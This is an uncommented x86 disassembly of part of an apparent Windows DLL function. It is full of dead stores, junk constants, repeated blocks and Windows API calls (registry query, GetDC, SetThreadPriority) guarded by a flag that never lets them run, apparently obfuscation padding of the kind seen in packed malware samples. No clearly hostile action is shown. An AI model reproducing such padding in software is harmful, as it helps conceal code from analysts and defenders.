mov eax, dword [ebp - 0x27c]
mov eax, dword [ebp - 0x3c]
xor eax, eax
cmp dword [ebp - 0x2c], eax
jne 0x100286ae
mov eax, ebx
mov dword [ebp - 0x34], eax
xor eax, eax
mov dword [ebp - 4], 0x42c70bb7
mov dword [ebp - 0x34], 0xfffffffd
mov dword [ebp - 0x10], 6
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x3c], 0xfffffffa
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 3
jge 0x100286f4
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x3d4], 0xffffffff
inc dword [ebp - 4]
cmp dword [ebp - 4], 3
jl 0x100286db
xor eax, eax
push 2
mov dword [ebp - 4], eax
pop ecx
cmp dword [ebp - 4], ecx
jge 0x10028717
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0xa2c], 0
inc dword [ebp - 4]
cmp dword [ebp - 4], ecx
jl 0x100286ff
xor eax, eax
mov dword [ebp - 4], eax
jmp 0x1002873f
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x1002873c
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
push 2
xor eax, eax
pop ecx
inc dword [ebp - 4]
cmp dword [ebp - 4], ecx
jle 0x1002871c
mov dword [ebp - 4], eax
cmp dword [ebp - 4], ecx
jg 0x1002888b
mov dword [ebp - 0xc], 3
mov dword [ebp - 0x20], 0x29478c9d
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x20], 0xa0b59785
mov dword [ebp - 0x34], 0xe0b2f67a
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ecx
jge 0x1002878b
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x4b4], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x10028777
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x100287ad
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xaa8], 0x4ce10b49
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x10028794
xor eax, eax
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x100287bc
call dword [sym.imp.USER32.dll_WaitMessage]
mov eax, dword [ebp - 0x34]
dec dword [ebp - 0x34]
test eax, eax
je 0x100287ee
cmp dword [ebp - 0x24], 0xa644184
jle 0x100287d9
xor eax, eax
cmp dword [ebp - 0xaa0], eax
je 0x100287db
mov eax, ebx
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0xa28]
mov eax, ebx
jmp 0x100287f0
xor eax, eax
xor ecx, ecx
cmp eax, ebx
mov eax, dword [ebp - 0x3c]
sete cl
xor edx, edx
cmp ecx, eax
setge dl
add edx, dword [ebp - 0x4b0]
neg edx
mov dword [ebp - 0x10], edx
jne 0x10028811
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0x3d0]
xor ecx, ecx
mov eax, dword [ebp - 0x4b4]
mov dword [ebp - 0x4b4], eax
mov eax, dword [ebp - 4]
push 2
mov eax, dword [ebp + eax*4 - 0x3d4]
mov eax, dword [ebp - 0xaa0]
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x3d4]
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x3d4]
mov eax, dword [ebp - 4]
mov esi, dword [ebp + eax*4 - 0x3d4]
mov eax, dword [ebp - 4]
cmp eax, 8
mov eax, dword [ebp - 0x3d0]
setle cl
xor edx, edx
cmp esi, ecx
setl dl
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x34], ecx
inc dword [ebp - 4]
pop ecx
push 0
pop eax
cmp dword [ebp - 4], ecx
jle 0x10028750
mov esi, dword [sym.imp.USER32.dll_GetDesktopWindow]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1002893f
push 3
pop edx
mov dword [ebp - 0x38], 9
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x20], 0x47909b79
mov dword [ebp - 0x20], 0xf6802998
mov dword [ebp - 0x34], edx
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 4
jge 0x100288d7
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0xda0], 0xffffffff
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 4
jl 0x100288be
xor eax, eax
mov dword [ebp - 0x38], edx
cmp dword [ebp - 0x38], eax
jl 0x10028922
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x20], 0xced8
mov dword [ebp - 0xc], eax
jmp 0x100288ff
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0xadc], 0xffffffff
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], ecx
jl 0x100288ee
dec dword [ebp - 0x34]
mov eax, dword [ebp - 0x38]
push 0
mov eax, dword [ebp + eax*4 - 0xda0]
add eax, dword [ebp - 0x34]
mov dword [ebp - 0xadc], eax
dec dword [ebp - 0x38]
pop eax
jns 0x100288df
mov eax, dword [ebp - 0x14]
push 0
mov dword [ebp + eax*4 - 0x27c], 0xfffffff9
inc dword [ebp - 0x14]
pop eax
cmp dword [ebp - 0x14], ebx
jl 0x1002889a
mov dword [ebp - 0xc], 0x6bafcb14
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], ebx
jge 0x10028966
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0xb8], 0xfffffffa
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], ebx
jl 0x1002894e
xor eax, eax
mov ebx, dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov dword [ebp - 0xb8], eax
jmp 0x100289d5
mov dword [ebp - 0x38], 0x7ad95e17
mov dword [ebp - 0x38], 0xfffffff8
cmp dword [ebp - 0x38], 0x12
jge 0x100289bc
mov dword [ebp - 0xc], eax
jmp 0x1002899e
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0xdb8], 0x985a9576
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 4
jl 0x1002898d
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0xdac], eax
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0x12
push 0
pop eax
jl 0x10028988
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x100289cf
push 0x17c3
push eax
call ebx
xor eax, eax
dec dword [ebp - 0xb8]
cmp dword [ebp - 0xb8], 0xfffffffc
je 0x10028974
mov dword [ebp - 0xc], eax
jmp 0x100289ff
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x100289fc
push eax
push eax
push 0x1739
push eax
call dword [sym.imp.USER32.dll_SetMenuItemInfoW]
xor eax, eax
dec dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0xffffffe4
jne 0x100289e3
xor ecx, ecx
mov dword [ebp - 0x14], 0x6802
mov dword [ebp - 0xc], eax
inc ecx
jmp 0x10028a25
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x4ac], 5
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], ecx
jl 0x10028a14
mov eax, dword [ebp - 0x14]
mov edx, ecx
xor eax, eax
cmp dword [ebp - 0x14], eax
jne 0x10028a38
mov edx, eax
mov eax, dword [ebp - 0x14]
xor ecx, ecx
sub edx, eax
mov eax, dword [ebp - 0x14]
cmp edx, eax
setl cl
xor eax, eax
cmp ecx, 0xfff7
setne al
cmp eax, 0x9beab1d6
jae 0x10028a67
xor eax, eax
cmp eax, dword [ebp - 0x14]
je 0x10028a7a
xor edx, edx
lea eax, [edx + 1]
jmp 0x10028a69
xor eax, eax
cmp eax, dword [ebp - 0x14]
jge 0x10028a7a
mov dword [ebp - 0x4ac], 0xb489f7a9
jmp 0x10028a9b
xor eax, eax
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], al
je 0x10028a9d
push eax
push 0x23a1
push 0x1dfa
call esi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call edi
xor eax, eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 4
jge 0x10028abf
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0xb24], 0xffffffff
inc dword [ebp - 4]
cmp dword [ebp - 4], 4
jl 0x10028aa6
xor eax, eax
xor edx, edx
mov dword [ebp - 4], eax
inc edx
cmp dword [ebp - 4], edx
jge 0x10028ae2
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0xb0], 0xdba76aab
inc dword [ebp - 4]
cmp dword [ebp - 4], edx
jl 0x10028aca
xor eax, eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 3
jg 0x10028b49
mov dword [ebp - 0xc], eax
jmp 0x10028b03
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0xc18], edx
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 3
jl 0x10028af6
mov eax, dword [ebp - 0xb0]
push 0
mov ecx, dword [ebp + eax*4 - 0xb24]
mov eax, dword [ebp - 0xb0]
imul ecx, dword [ebp + eax*4 - 0xb24]
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, 9
setg al
mov dword [ebp - 0xc14], eax
inc dword [ebp - 0xb0]
cmp dword [ebp - 0xb0], 3
pop eax
jle 0x10028af1
mov dword [ebp - 0x14], 0x6802
mov dword [ebp - 0xc], eax
jmp 0x10028b66
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x4e0], 5
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], edx
jl 0x10028b55
mov eax, dword [ebp - 0x14]
xor eax, eax
cmp dword [ebp - 0x14], eax
jne 0x10028b77
mov edx, eax
mov eax, dword [ebp - 0x14]
xor ecx, ecx
sub edx, eax
mov eax, dword [ebp - 0x14]
cmp edx, eax
setl cl
xor eax, eax
cmp ecx, 0xfff7
setne al
cmp eax, 0x9beab1d6
jae 0x10028ba6
xor eax, eax
cmp eax, dword [ebp - 0x14]
je 0x10028bb9
xor edx, edx
lea eax, [edx + 1]
jmp 0x10028ba8
xor eax, eax
cmp eax, dword [ebp - 0x14]
jge 0x10028bb9
mov dword [ebp - 0x4e0], 0xb489f7a9
jmp 0x10028bda
xor eax, eax
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], al
je 0x10028bdc
push eax
push 0x23a1
push 0x1dfa
call esi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call edi
xor eax, eax
xor esi, esi
mov dword [ebp - 0xc], 0x6bafcb14
mov dword [ebp - 0xc], eax
inc esi
cmp dword [ebp - 0xc], esi
jge 0x10028c06
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0xbc], 0xfffffffa
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], esi
jl 0x10028bee
xor eax, eax
mov dword [ebp - 0xbc], eax
jmp 0x10028c6f
mov dword [ebp - 0x38], 0x7ad95e17
mov dword [ebp - 0x38], 0xfffffff8
cmp dword [ebp - 0x38], 0x12
jge 0x10028c56
mov dword [ebp - 0xc], eax
jmp 0x10028c38
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0xdd0], 0x985a9576
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 4
jl 0x10028c27
mov eax, dword [ebp - 0xbc]
mov dword [ebp - 0xdc4], eax
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0x12
push 0
pop eax
jl 0x10028c22
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x10028c69
push 0x17c3
push eax
call ebx
xor eax, eax
dec dword [ebp - 0xbc]
cmp dword [ebp - 0xbc], 0xfffffffc
je 0x10028c0e
mov dword [ebp - 0xc], eax
jmp 0x10028c99
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x10028c96
push eax
push eax
push 0x1739
push eax
call dword [sym.imp.USER32.dll_SetMenuItemInfoW]
xor eax, eax
dec dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0xffffffe4
jne 0x10028c7d
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 4
jge 0x10028cc1
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0xb64], 0xffffffff
inc dword [ebp - 4]
cmp dword [ebp - 4], 4
jl 0x10028ca8
xor eax, eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], esi
jge 0x10028ce1
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0xac], 0xdba76aab
inc dword [ebp - 4]
cmp dword [ebp - 4], esi
jl 0x10028cc9
xor eax, eax
push 3
pop edx
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], edx
jg 0x10028d48
mov dword [ebp - 0xc], eax
jmp 0x10028d04
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0xc30], esi
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], edx
jl 0x10028cf7
mov eax, dword [ebp - 0xac]
push 0
mov ecx, dword [ebp + eax*4 - 0xb64]
mov eax, dword [ebp - 0xac]
imul ecx, dword [ebp + eax*4 - 0xb64]
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, 9
setg al
mov dword [ebp - 0xc2c], eax
inc dword [ebp - 0xac]
pop eax
cmp dword [ebp - 0xac], edx
jle 0x10028cf2
mov dword [ebp - 0xc], 0x6bafcb14
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], esi
jge 0x10028d6f
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0xc4], 0xfffffffa
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], esi
jl 0x10028d57
xor eax, eax
mov dword [ebp - 0xc4], eax
jmp 0x10028dd8
mov dword [ebp - 0x38], 0x7ad95e17
mov dword [ebp - 0x38], 0xfffffff8
cmp dword [ebp - 0x38], 0x12
jge 0x10028dbf
mov dword [ebp - 0xc], eax
jmp 0x10028da1
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0xde8], 0x985a9576
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 4
jl 0x10028d90
mov eax, dword [ebp - 0xc4]
mov dword [ebp - 0xddc], eax
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0x12
push 0
pop eax
jl 0x10028d8b
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x10028dd2
push 0x17c3
push eax
call ebx
xor eax, eax
dec dword [ebp - 0xc4]
cmp dword [ebp - 0xc4], 0xfffffffc
je 0x10028d77
mov dword [ebp - 0xc], eax
jmp 0x10028e02
cmp dword [ebp - 0xc], 0xffffffe4
jne 0x10028de6